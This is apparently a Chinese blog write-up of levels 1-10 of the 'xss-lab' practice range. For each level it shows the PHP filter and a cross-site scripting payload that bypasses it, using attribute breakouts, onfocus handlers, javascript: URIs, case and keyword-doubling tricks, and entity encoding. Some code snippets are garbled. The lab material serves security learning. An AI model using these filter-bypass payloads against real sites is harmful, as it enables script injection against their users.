xss-lab靶场level1-level10

l evel1:

无过滤形式

直接

<script>window.alert(123)</script>

level2:

htmlspecialchars函数将预定义的小于和大于号转换为html实体

< (小于)成为 &lt;

> (大于)成为 &gt;

源代码

<?php

ini_set("display_errors", 0);

$str = $_GET["<script>window.alert(111)</script>"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level2.php method=GET>

<input name=keyword value="'.$str.'">

<input type=submit name=submit value="搜索"/>

</form>

</center>';

?>

这一个只是在文字里设置了,但是input的value并没有

这是最后输出的格式:"&lt;script&gt;window.alert(111)&lt;/script&gt;"

所以如果想绕过那么就想办法让程序识别不到小于号

但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

所以

"> '<script>window.alert(11)</script>' <"

前后各自加的内容是为了闭合前后的符号,让中间内容单独出现

$str = $_GET[""> <script>window.alert(11)</script> <""];

> <script>window.alert(11)</script> <

htmlspecialchars(> <script>window.alert(11)</script> <)

level3:

没有找到和&lt;script&gt;window.alert(11)&lt;/script&gt;相关的结果.

"> "<script>window.alert(11)</script>" <"

上一句之所以没有用,就是因为value里也被设置了编码所以这个要绕过的是value里的编码

但是只要是大于号都会被编码,所以我们应该去寻找其他注入代码

方法:onfocus代替<script></script>,然后再利用js伪协议

这样就能取代大于小于号

原理:onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码

最后输入框代码变成了这样:

<input name=keyword value='' οnfοcus=javascript:alert() ''>

<input type=submit name=submit value=搜索 />

所以再输入之后再点击一下输入框即可注入成功

level4:

<input name=keyword value="scriptalert(123)/script">

可见大于号是直接被去掉了

再看这个代码会发现value后面有双引号,而且双引号是不会被编码或者删掉,所以想法是第三关,但是要在前面加上双引号

"οnfοcus=javascript:alert()

level5:

<input name=keyword value="<scr_ipt>alert(123)</script>">

输入注入代码,会发现第一个srcipt标签加上了下划线

而且<svg/οnlοad=alert(1)>

则会

<input name=keyword value="<svg/o_nload=alert(1)>">

说明不管输入什么,它都会在第一个标签的中间位置加上下划线

于是我们查看了源代码

str2=str_replace("\str);

str3=str_replace("on","o_n",str2);

发现它只对on和<script进行过滤,而且不区分大小写

可以使用其他标签替换iframe、a

"><iframe src="javascript:alert(123)"></iframe><"

"> <a href=javascript:alert()>xxx</a> <"

level6:

$str = $_GET["keyword"];

str2=str_replace("\str);

str3=str_replace("on","o_n",str2);

str4=str_replace("src","sr_c",str3);

str5=str_replace("data","da_ta",str4);

str6=str_replace("href","hr_ef",str5);

这一个过滤的更多

所以还是想办法过滤,找到其他可以替换的标签

查看代码发现对大小写并不检查

"><scRipt>window.alert(123)</scRipt><"

level7:

f12查看页面源代码

<input name=keyword value="<>alert(123)</>">

发现script直接被替换

尝试双写绕过

"><scrscriptipt>window.alert(123)</scrscriptipt><"

查看源代码

str2=str_replace("script","",str);

str3=str_replace("on","",str2);

str4=str_replace("src","",str3);

str5=str_replace("data","",str4);

str6=str_replace("href","",str5);

level8:

<a href="<scr_ipt>alert(123)</scr_ipt>">友情链接</a>

发现友情链接的href参数被过滤了

script、src

但是href的unicode自动编码

所以想到可以编码绕过

并且使用伪协议

而且如果想要在超链接标签使用那么就用将地址放在href标签里,所以使用js伪协议

javascript:alert()

伪协议概念:

伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,

而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:

我们可以在浏览地址栏里输入"javascript:alert('JS!');",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

相当于是一个地址或者网址

level9:

1.过滤

str = strtolower(_GET["keyword"]);

str2=str_replace("script","scr_ipt",str);

str3=str_replace("on","o_n",str2);

str4=str_replace("src","sr_c",str3);

str5=str_replace("data","da_ta",str4);

str6=str_replace("href","hr_ef",str5);

str7=str_replace('"','\"',str6);

2.html实体编码

<input name=keyword value="'.htmlspecialchars($str).'">

<input type=submit name=submit value=添加友情链接 />

</form>

</center>';

?>

3.判断是否为链接

strpos函数判断字符串中是否有,不论该字符串出现在哪个位置,只要有都为true

<?php

if(false===strpos($str7,'http://'))

{

echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';

}

else

{

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

}

其实这个就是比第八关多了一个检查链接合法性的步骤

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*http://*/

level10:

源代码有如下代码:

$str11 = $_GET["t_sort"];

str22=str_replace("\>","",str11);

str33=str_replace("\<","",str22);

<input name="t_sort" value="'.$str33.'" type="hidden">

输入框被隐藏了,怎么办?

有没有什么办法可以显示

只有让type="text"

οnfοcus=javascript:alert(11)

?t_sort=" οnfοcus=javascript:alert() type="text'

<input name="t_sort" value="'" οnfοcus=javascript:alert() type="text'' " type="hidden">

相关推荐
前端宝哥4 分钟前
Composition API VS Options API:谁才是你的最佳选择?
前端·javascript·vue.js
不露声色丶28 分钟前
elementPlus表格二次封装
前端·javascript·vue.js
王天乐00731 分钟前
ElementUI的搭建
前端·javascript·elementui
OpenTiny社区36 分钟前
7月6日 VueConf 技术大会即将在深圳举办
前端·vue.js·github
隐藏用户y39 分钟前
探索如何赋予对象迭代魔法,轻松实现非传统解构赋值的艺术
前端·javascript
Zww08911 小时前
css美化滚动条样式
前端·css·css3
Goat恶霸詹姆斯1 小时前
uniapp实现图片懒加载 封装组件
前端·javascript·uni-app
佩淇呢1 小时前
uniapp 使用vite构建项目
前端·vue.js·uni-app
专注成就自我1 小时前
p标签文本段落中因编辑器换行引起的空格问题完美解决方案
前端·javascript·vue.js·编辑器·html
神明木佑1 小时前
js学习--隔行换色
前端·javascript·学习